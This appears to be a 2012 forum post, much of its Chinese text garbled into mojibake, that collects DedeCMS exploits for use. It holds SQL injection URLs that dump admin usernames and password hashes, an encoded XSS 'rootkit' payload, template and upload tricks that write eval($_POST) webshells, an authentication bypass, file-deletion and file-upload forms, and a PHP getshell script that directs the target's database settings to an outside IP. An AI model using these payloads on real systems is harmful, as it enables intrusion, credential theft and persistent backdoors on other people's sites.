admin 2012-10-18 10:42:14

dedecms©ܽ


Dedecms 5.6 rssע©
http://www.test.com/plus/rss.php?tid=1&_Cs[]=1&_Cs=1








DedeCms v5.6 Ƕִ©
עԱϴصַ a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
鿴޸ļִ
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
x.php xiaoֱһ仰








Dede 5.6 GBK SQLע©
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7








DedeCms V5.6 plus/advancedsearch.php sqlִ©
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`






DEDECMS ȫ汾 gotopageXSS©
1.ճURLʣXSSװXSS ROOTKIT,עIE8/9ȻURL͵XSS©رXSSɸѡ
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


2.رôURLᴥǵXSS
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(֯)getshell
#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
if($argv==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv.' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv.' www.site.com 1 old
+---------------------------------------------------------------------------+
');
exit;
}
$url=$argv;
$aid=$argv;
$path=$argv;
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;


if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


}else{
echo "
Exploit Failed \n";
}
function Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
}
}


?>










DedeCms v5.6-5.7 ԽȨ©(ֱӽ̨)
http://www.ssvdb.com/֯վ̨/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST=116.255.183.90&_POST=root&_POST=r0t0&_POST=root


validate=dcugΪǰ֤룬ֱӽվ̨


©ǰDZǫ̃·ʵ










Dedecms֯ ǩԶļд©
ǰ׼Լdedeݿ⣬Ȼݣ insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


ύshell ͬĿ¼ 1.phpԭԼо
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="ύ" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>










DedeCms v5.6 Ƕִ©
עԱϴصַa{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}鿴޸ļִ
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
x.php 룺xiaoֱһ仰xiao Ҷ
Dedecms <= V5.6 Finalģִ©
עһûų̂һƪ£ϴһͼƬȻڸͼƬ滻ΪǾĹģ壬ͼƬǣ
uploads/userup/2/12OMX04-15A.jpg


ģǣͼƬʽgif89a
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST)'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2 ޸ĸոշ£鿴Դļһ
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />


<div id="mainCp">
<h3 class="meTitle"><strong>޸</strong></h3>


<div class="postForm">
<label>⣺</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


<label>ǩTAG</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(öŷֿ)


<label>ߣ</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>Ŀ</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Ŀ</option>
</select> <span style="color:#F00">*</span>(ѡɫķ)


<label>ҵķࣺ</label>
<select name='mtypesid' size='1'>
<option value='0' selected>ѡ...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>


<label>ϢժҪ</label>
<textarea name="description" id="description">1111111</textarea>
(ݵļҪ˵)


<label>ͼ</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">ﹹ죩
</div>


<!-- -->
<h3 class="meTitle">ϸ</h3>


<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>֤룺</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="壿" align="absmiddle" style="cursor:pointer" />


<button class="button2" type="submit">ύ</button>
<button class="button2 ml10" type="reset"></button>
</div>


</div>


</form>


ύʾ޸ijɹѾɹ޸ģ· 3 ޸ĵ£
ո޸ĵµaidΪ2ֻҪʣ
http://127.0.0.1/dede/plus/view.php?aid=2
plusĿ¼webshell1.php












DEDECMSվϵͳGet Shell©(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
Ϊ1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" ></button>
</form>


ϱϴͼƬΪ/uploads/userup/3/1.gif
£Ȼ޸ı£


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>ѡ...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">ύ</button>
</form>












֯(Dedecms)V5.6 Զļɾ©
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif










֯(Dedecms) V5.6 plus/carbuyaction.php ļ©
http://www.test.com/plus/carbuya ... urn&code=../../










DedeCms V5.6 plus/advancedsearch.php sqlִ©
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
32λMD5ȥͷ5λȥβλõ20 MD5룬ǣǰ31õ16λMD5










֯(Dedecms) 5.1 feedback_js.php ע©
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='










֯(Dedecms)select_soft_post.phpҳδʼ©
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='ȷ' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>










֯(dedecms)5.3 C 5.5 plus/digg_frame.php ע©
MySQLֵֶDEDECMSPHP¼ݿϢļͷû֤©
1. ַ
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST);var_dump(3);?>
ɿϢ


2. http://www.abc.com/data/mysql_error_trace.php Ϣ֤עɹˡ
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


3. ִdede.rarļ test.htmlע form action ĵַ


<form action=http://www.abc.com/data/mysql_error_trace.php enctype=application/x-www-form-urlencoded method=post>


ȷĿ2Ϣʾļľϴɹ.












֯(DedeCms)plus/infosearch.php ļע©
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*
ҳ: [1]
鿴汾: dedecms©ܽ